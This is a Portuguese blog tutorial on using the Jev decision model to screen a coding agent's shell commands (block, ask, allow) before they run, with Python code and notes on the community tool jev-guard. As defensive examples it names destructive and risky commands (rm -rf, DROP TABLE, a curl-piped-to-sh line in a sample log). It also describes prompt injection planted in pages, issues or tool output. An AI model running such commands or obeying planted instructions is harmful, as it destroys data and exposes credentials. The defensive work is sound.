Como usar o Jev para checar se um comando é seguro antes do agente executar

fluxo do Jev segurança de comandos mostrando choice, probabilities e confidence antes da execução do agente
Resposta rápida

Pra usar o Jev na segurança de comandos, você transforma a checagem numa pergunta tipada: o state leva o comando e o contexto da sessão (prompts recentes do usuário, intenção do agente, decisões anteriores e conteúdo já sinalizado), e o mapa questions leva uma Choice com bloquear, perguntar ou liberar, mais Nouls de pedido do usuário e de origem não confiável. O código lê choice, probabilities e confidence, manda pra revisão humana quando a confiança fica abaixo de 0.5 e registra tudo pra calibrar depois. Se o seu agente é suportado, o jev-guard da comunidade já faz isso

Fala aí, beleza? Seu agente de código não deveria rodar um rm ou um curl suspeito sem alguém perguntar antes: isso aqui é seguro?

E perguntar pro próprio agente não resolve muito, né? Ele é justamente quem quer rodar o comando haha

Aí entra o Jev, da TypeSafe AI

Ele é o primeiro System One model e funciona diferente de um LLM de chat: é um modelo de decisão, recebe um estado e perguntas tipadas e devolve respostas estruturadas, sem gerar texto e sem streaming

Ou seja, encaixa muito bem como porteiro entre o agente e o terminal 🙂

Neste post tu vai ver como montar a pergunta, ler a resposta e transformar isso em três ações que o seu código obedece: bloquear, pedir confirmação ou liberar

O que você precisa antes de começar:

O básico é pouco, se liga:

  • Python 3.10 ou superior
  • O SDK instalado com pip install typesafe-sdk ou uv add typesafe-sdk
  • Sua chave na variável de ambiente TYPESAFE_API_KEY, que é de onde o cliente lê
  • Nada de escolher modelo: por padrão o cliente chama o jev-latest

Tem dois limites que mexem direto no desenho da checagem

O Jev aceita até 64 mil tokens de contexto por requisição e só recebe texto

Isso define quanto histórico da sessão cabe no state, então não dá pra despejar a conversa inteira do agente ali dentro

E o custo: no Jev 1.13 são US$ 0,042 por milhão de tokens de entrada, com tokens de saída gratuitos

Isso importa porque cada comando checado é uma chamada, e o que pesa na conta é o tamanho do state que você manda

Passo a passo: transformando a checagem de segurança em pergunta tipada

A ideia toda é simples: em vez de pedir pra uma IA escrever se o comando é perigoso (e depois tu ficar fazendo parse de texto), tu faz uma pergunta com opções fechadas e recebe um resultado que vira if no código

Uma requisição ao Jev tem três campos no nível de cima: state (o conteúdo a avaliar), model e questions, que é um mapa de ids que você escolhe para objetos de pergunta

Existem três tipos de pergunta:

  • Choice: escolhe uma opção de um conjunto definido
  • Score: posição numa rubrica ordenada
  • Noul: probabilidade de a resposta ser sim

Bora ver na prática?

1. Monte o state com o comando e o contexto da sessão

O state é o "processo" que o Jev vai julgar

E aqui vale espelhar o que o jev-guard (projeto da comunidade, no repositório leepokai/jev-guard, que aparece com mais detalhe lá embaixo) considera em cada decisão: prompts recentes do usuário, intenção declarada pelo agente, decisões recentes e conteúdo já sinalizado

import json


def montar_state(comando: str, sessao: dict) -> str:
    contexto = {
        "comando_a_executar": comando,
        "prompts_recentes_do_usuario": sessao["prompts_usuario"][-5:],
        "intencao_declarada_pelo_agente": sessao["intencao_agente"],
        "decisoes_recentes": sessao["decisoes"][-10:],
        "conteudo_ja_sinalizado": sessao["sinalizados"],
    }
    # o Jev só recebe texto, então serializamos tudo
    return json.dumps(contexto, ensure_ascii=False, indent=2)

Os cortes [-5:] e [-10:] são só um jeito de não estourar os 64 mil tokens, ajuste pro tamanho real das suas sessões

O erro comum deste passo: mandar só o comando, sem contexto

Um git push --force pode ser exatamente o que o usuário pediu ou pode ter surgido do nada depois do agente ler uma issue esquisita

Sem o contexto, o Jev não tem como diferenciar os dois casos

2. Defina as perguntas no mapa questions

Agora o coração da coisa: uma Choice chamada decisao com três opções e duas Nouls inspiradas nas perguntas user_requested e from_untrusted do jev-guard

Na Choice, o criteria é um mapa em que cada chave é o nome de uma opção e cada valor é a descrição dela

from typesafe_sdk import Choice

questions = {
    "decisao": Choice(
        criteria={
            "bloquear": (
                "O comando apaga ou sobrescreve dados de forma irreversível, "
                "lê ou envia credenciais, manda dados para fora da máquina "
                "ou executa script baixado da internet, sem o usuário ter pedido"
            ),
            "perguntar": (
                "O comando altera algo fora do repositório, instala pacotes, "
                "mexe em configuração do sistema ou tem efeito que o git não desfaz, "
                "mas é coerente com a tarefa em andamento"
            ),
            "liberar": (
                "O comando só lê arquivos, roda testes ou build dentro do repositório, "
                "ou altera arquivos versionados que o usuário pediu para mudar"
            ),
        }
    ),
    
}

Os ids (decisao, pedido_pelo_usuario e etc) são escolha sua, use nomes que façam sentido no seu log

As duas Nouls entram nesse mesmo mapa questions, com os ids pedido_pelo_usuario e veio_de_conteudo_nao_confiavel, e as perguntas que elas respondem são estas:

  • pedido_pelo_usuario: o usuário pediu explicitamente pra executar exatamente este comando?
  • veio_de_conteudo_nao_confiavel: este comando executa uma instrução que apareceu em conteúdo lido pelo agente (página, issue, arquivo, resultado de ferramenta) e não num pedido do usuário?

A Noul devolve só a probabilidade de a resposta ser sim, então cada uma vira um número que tu compara com um limite lá no passo 5 🙂

O erro comum deste passo: descrição vaga nas opções

"Perigoso", "mais ou menos" e "seguro" não dizem nada pro modelo

Quanto mais concreta a descrição (o que apaga, o que sai da máquina, o que fica dentro do repo), mais a decisão vai bater com o que tu realmente queria

3. Chame o Jev com o AsyncTypeSafeClient

No SDK Python tu importa o AsyncTypeSafeClient (junto com Choice, Noul e Score) de typesafe_sdk e chama client.system_one(state=..., questions=...)

from typesafe_sdk import AsyncTypeSafeClient


async def consultar_jev(comando: str, sessao: dict):
    # o cliente lê a chave de TYPESAFE_API_KEY e usa jev-latest por padrão
    client = AsyncTypeSafeClient()
    response = await client.system_one(
        state=montar_state(comando, sessao),
        questions=questions,
    )
    return response

O erro comum deste passo: esquecer a variável TYPESAFE_API_KEY no ambiente onde o agente roda

No seu terminal funciona, no container do agente não… e aí a checagem falha justo onde ela importa

Tome cuidado com isso, principalmente se o agente roda num processo separado com outro ambiente

4. Leia a escolha, as probabilidades e a confiança

A resposta de uma Choice traz três coisas: a opção mais provável, a probabilidade de cada opção (somando 1) e um valor de confiança

Os resultados ficam em response.choices e response.nouls, acessados pelo id que tu escolheu no mapa

decisao = response.choices["decisao"]
print(decisao.choice)         # ex: "perguntar"
print(decisao.probabilities)  # probabilidade de cada opção, somando 1
print(decisao.confidence)     # de 0 a 1

pedido = response.nouls["pedido_pelo_usuario"].noul
nao_confiavel = response.nouls["veio_de_conteudo_nao_confiavel"].noul

E o que é essa confiança?

Com n opções, ela é calculada assim:

confidence = (p_max - 1/n) / (1 - 1/n)

Se as probabilidades estão divididas igualmente entre as opções, dá 0

Se uma opção leva tudo, dá 1

No nosso caso, com 3 opções: se a opção vencedora tem 0.6 de probabilidade, a conta fica (0.6 – 1/3) / (1 – 1/3), que dá 0.4

Repara que 0.6 parece "maioria", mas a confiança é baixa, porque o modelo ficou bem dividido entre as opções

Já a Noul é mais direta: ela não tem confiança separada, o próprio número (0 = não, 1 = sim) já descreve a distribuição inteira

O erro comum deste passo: tratar o choice como verdade absoluta

Um "liberar" com confiança 0.9 e um "liberar" com confiança 0.2 são coisas MUITO diferentes, e o código precisa saber disso

5. Converta a resposta em ação no código

Agora sim a parte que interessa: transformar o resultado em bloquear, perguntar ou liberar

A própria documentação de uso sugere mandar pra revisão humana quando a confiança de uma Choice fica abaixo de 0.5, então isso entra como regra

E do jev-guard a gente pega duas lógicas: pedido explícito do usuário pode transformar "perguntar" em "liberar", e instrução vinda de conteúdo não confiável é negada

LIMITE_CONFIANCA = 0.5        # sugestão da documentação para revisão humana
LIMITE_NAO_CONFIAVEL = 0.5    # escolha sua, calibre com os logs
LIMITE_PEDIDO = 0.8           # escolha sua, calibre com os logs


async def decidir(comando: str, sessao: dict) -> str:
    try:
        response = await consultar_jev(comando, sessao)
    except Exception:
        # se a checagem falhar, nunca libera por padrão
        return "perguntar"

    decisao = response.choices["decisao"]
    pedido = response.nouls["pedido_pelo_usuario"].noul
    nao_confiavel = response.nouls["veio_de_conteudo_nao_confiavel"].noul

    # instrução plantada em conteúdo lido pelo agente: bloqueia
    if nao_confiavel >= LIMITE_NAO_CONFIAVEL:
        return "bloquear"

    if decisao.choice == "bloquear":
        return "bloquear"

    # confiança baixa vira confirmação humana, mesmo que a opção seja liberar
    if decisao.confidence < LIMITE_CONFIANCA:
        return "perguntar"

    # o usuário pediu exatamente isso: perguntar vira liberar
    if decisao.choice == "perguntar" and pedido >= LIMITE_PEDIDO:
        return "liberar"

    return decisao.choice

Os limites de 0.5 e 0.8 pras Nouls não vêm de nenhuma recomendação oficial pra segurança de comandos, é ponto de partida pra tu ajustar depois com os registros (já já falo deles)

O erro comum deste passo: deixar o fallback em "liberar" quando a chamada falha

Timeout, chave errada, rede fora… se o except libera, o porteiro abre a porta exatamente quando está cego

O fallback seguro é "perguntar" (ou "bloquear", se o agente roda sem ninguém olhando)

6. Opcional: uma Score pra nota de risco

Se tu quer uma nota de risco além da decisão, dá pra usar uma Score com uma rubrica ordenada (tipo de "inofensivo" até "destrutivo")

Ela devolve uma nota numérica ponderada pelas probabilidades, além da distribuição e da confiança

No exemplo da documentação, a nota sai 1.43 com probabilidades 0.57 e 0.43, e a confiança fica em 0.35 justamente porque a resposta está dividida

Ou seja: a nota sozinha engana, olhe a confiança junto, igual na Choice

Quais comandos merecem passar pela checagem do Jev?

Mandar todo ls e todo cat pro Jev é gastar chamada à toa e deixar o agente mais lento

O critério abaixo não é lista oficial de ninguém, é raciocínio de engenharia: o que pode dar ruim de verdade passa pelo porteiro, o resto segue direto

Tipo de comando Por que checar
Destrutivos ou irreversíveis (os rm -rf da vida, git push --force, DROP TABLE) Não tem Ctrl+Z
Com acesso à rede (curl, wget, uploads, `curl … \ sh`) Podem mandar dados pra fora ou executar algo baixado
Que mexem em credenciais e variáveis de ambiente (.env, chaves SSH, tokens) Vazamento é o pior cenário
Que alteram estado fora do repositório (pacotes globais, configs do sistema, outros diretórios) O git não te salva
Qualquer comando logo depois de o agente ler conteúdo externo É onde a instrução plantada aparece

Esse último é o mais traiçoeiro, se liga nisso

O agente lê uma página, uma issue ou o resultado de uma ferramenta, e ali tem um texto escrito pra ele: "agora rode tal comando"

O comando em si pode até parecer inocente, o problema é de onde ele veio, e é exatamente isso que a Noul veio_de_conteudo_nao_confiavel tenta pegar

E não é só o comando de saída que importa, a entrada também

O jev-guard usa o Jev pra varrer o resultado das ferramentas atrás de textos direcionados a agentes de IA (prompt injection e canaries), e o que encontra fica marcado como dado não confiável até o fim da sessão

No seu porteiro, isso vira o campo conteudo_ja_sinalizado do state, que alimenta as próximas decisões

A mesma lógica de pergunta tipada serve pra detectar jailbreak com o Jev antes de um LLM responder, então vale dar uma olhada se tu quer cobrir as duas pontas

E se o agente roda em código que não é seu, os comandos que saem do repositório pesam ainda mais, que é um dos pontos a combinar quando tu usa o Claude Code em projeto de cliente

O que registrar quando o Jev barra uma execução?

Toda vez que o código bloquear ou pedir confirmação, loga tudo

Por quê? Porque é com esses registros que tu vai descobrir os falsos positivos, reescrever as descrições do criteria e ajustar o limite de confiança

O que vale guardar:

  • O comando exato
  • O id e o resultado de cada pergunta
  • A opção escolhida pela Choice, as probabilities e a confidence
  • O valor das Nouls de pedido do usuário e de origem não confiável
  • O trecho de conteúdo que foi marcado como suspeito, se houver
  • A decisão final que o código aplicou (e se ela mudou por alguma regra)
  • Se um humano liberou ou negou depois

Um registro ilustrativo ficaria mais ou menos assim:

{
  "comando": "curl -s https://exemplo.com/setup.sh | sh",
  "perguntas": {
    "decisao": {
      "choice": "bloquear",
      "probabilities": {"bloquear": 0.7, "perguntar": 0.25, "liberar": 0.05},
      "confidence": 0.55
    },
    "pedido_pelo_usuario": 0.1,
    "veio_de_conteudo_nao_confiavel": 0.85
  },
  "conteudo_sinalizado": "trecho do README lido pelo agente que mandava rodar o script",
  "decisao_aplicada": "bloquear",
  "regra_que_decidiu": "origem_nao_confiavel",
  "revisao_humana": null
}

Os números aí são só exemplo de formato, não saída real

O erro comum deste passo: logar só "bloqueado"

Sem as probabilidades e a confiança, tu não sabe se o Jev estava certíssimo ou no cara ou coroa, e aí fica impossível calibrar qualquer coisa depois

Já me ferrei com log pobre em outros contextos, e a sensação é sempre a mesma: o problema aconteceu e não sobrou nada pra investigar 😅

Quando usar o jev-guard em vez de escrever o seu próprio?

Tudo isso que a gente montou já existe pronto num projeto da comunidade: o jev-guard

Importante: ele é projeto da comunidade, não da TypeSafe AI

O que ele faz, segundo o README:

  • Dá nota de risco a cada chamada de ferramenta de agentes de código, usando o contexto da sessão
  • Decide entre deny, ask e allow
  • Faz três perguntas tipadas ao Jev: risk, user_requested e from_untrusted
  • user_requested transforma "ask" em "allow" quando o usuário pediu exatamente aquilo
  • from_untrusted nega a chamada que executa uma instrução plantada em conteúdo que o agente leu
  • Varre o resultado das ferramentas atrás de prompt injection e canaries, marcando o que achar como não confiável até o fim da sessão

Ele cita suporte a Claude Code, Codex, Copilot, Gemini, Cursor, pi, OpenCode e ACP

E o próprio README compara o papel dele ao classificador do auto mode do Claude Code, que revisa as ações antes de elas rodarem

Instalação e configuração ficam por conta do README do projeto, segue o que está lá

Então, qual usar?

  • jev-guard pronto: quando o seu agente é um dos suportados e tu quer a proteção funcionando sem escrever código
  • Porteiro próprio: quando tu precisa de regras específicas do seu pipeline (comandos internos, ambientes de deploy, políticas do time) ou quer controlar exatamente o que vai pro state e pro log

Nada impede também de ler o código do jev-guard como referência e montar o seu em cima das mesmas ideias, é open source pra isso mesmo =)

Próximo passo: coloque um porteiro antes do terminal do seu agente

A sacada central é essa: a checagem de segurança vira uma pergunta tipada com saída que o código obedece, e não um texto pra tu interpretar e torcer pra dar certo

State com comando e contexto, Choice com bloquear, perguntar e liberar, Nouls pra pedido do usuário e origem não confiável, e um if que respeita a confiança

O caminho prático fica assim:

  1. Instale o SDK com pip install typesafe-sdk e configure a TYPESAFE_API_KEY
  2. Implemente a Choice de três opções com o limite de 0.5 pra revisão humana
  3. Deixe o fallback em "perguntar", nunca em "liberar"
  4. Comece logando tudo, inclusive o que foi liberado
  5. Depois de alguns dias de registro, aperte ou afrouxe as regras com base no que os logs mostram

Simples, né? E muuuito melhor que deixar o agente rodar qualquer coisa no seu terminal 😀

Até o próximo post!

Perguntas frequentes

Quanto custa checar um comando com o Jev antes de executar?

No Jev 1.13 a conta é US$ 0,042 por milhão de tokens de entrada, e os tokens de saída são gratuitos. Como cada checagem é uma chamada, quem pesa na conta é o tamanho do state que você monta, não a resposta estruturada que volta.

Dá pra mandar o histórico inteiro da sessão do agente pro Jev?

Não, o Jev aceita até 64 mil tokens de contexto por requisição e só recebe texto. Por isso o state precisa ser recortado (tipo os últimos prompts e as últimas decisões), e não a conversa inteira do agente.

O que fazer quando a confiança da decisão do Jev fica baixa?

A documentação de uso sugere mandar pra revisão humana quando a confiança de uma Choice fica abaixo de 0.5. Isso acontece quando a probabilidade está dividida entre as opções, então em vez de confiar cegamente no ‘bloquear’ ou ‘liberar’, o fluxo pausa e pergunta pra alguém.

Preciso instalar algo além do SDK Python pra usar o Jev?

Basicamente não: Python 3.10 ou superior, o SDK com pip install typesafe-sdk (ou uv add typesafe-sdk) e a chave na variável TYPESAFE_API_KEY. Sem escolher modelo manualmente, o cliente já chama o jev-latest por padrão.

O jev-guard substitui montar essa checagem na mão?

Pra Claude Code, Codex, Copilot, Gemini, Cursor, pi, OpenCode e ACP, sim, o jev-guard (projeto da comunidade no repositório leepokai/jev-guard) já faz isso pronto. Ele roda três perguntas tipadas no Jev (risk, user_requested, from_untrusted) e decide entre deny, ask e allow, além de varrer o resultado das ferramentas atrás de prompt injection.

Qual a diferença entre usar Choice e Noul pra decidir se um comando é seguro?

A Choice serve pra escolher entre opções fechadas (tipo bloquear, perguntar, liberar) e devolve a opção mais provável com confidence. Já a Noul responde só uma pergunta de sim ou não, com a própria probabilidade descrevendo a resposta inteira, sem confidence separado, o que encaixa bem em perguntas tipo ‘o usuário pediu isso?’.



Escrito por | Matheus Battisti

Matheus Battisti
Fundador da Hora de Codar

Programador apaixonado pelo mundo das tecnologias, sempre buscando em aprender e se aprofundar em linguagens, frameworks e o que mais for necessário para executar um bom trabalho. Agora tem uma nova missão que é de passar seu conhecimento adiante para formar novos programadores e especializar mais os que já são.

Subscribe
Notify of
guest

0 Comentários
Oldest
Newest Most Voted

Formações

Formação Claude Code

Formação Claude Code

Domine Claude Code do absoluto zero até o avançado

  • 120 aulas
  • 4 projetos
  • 9h 48min

Blog | Mais populares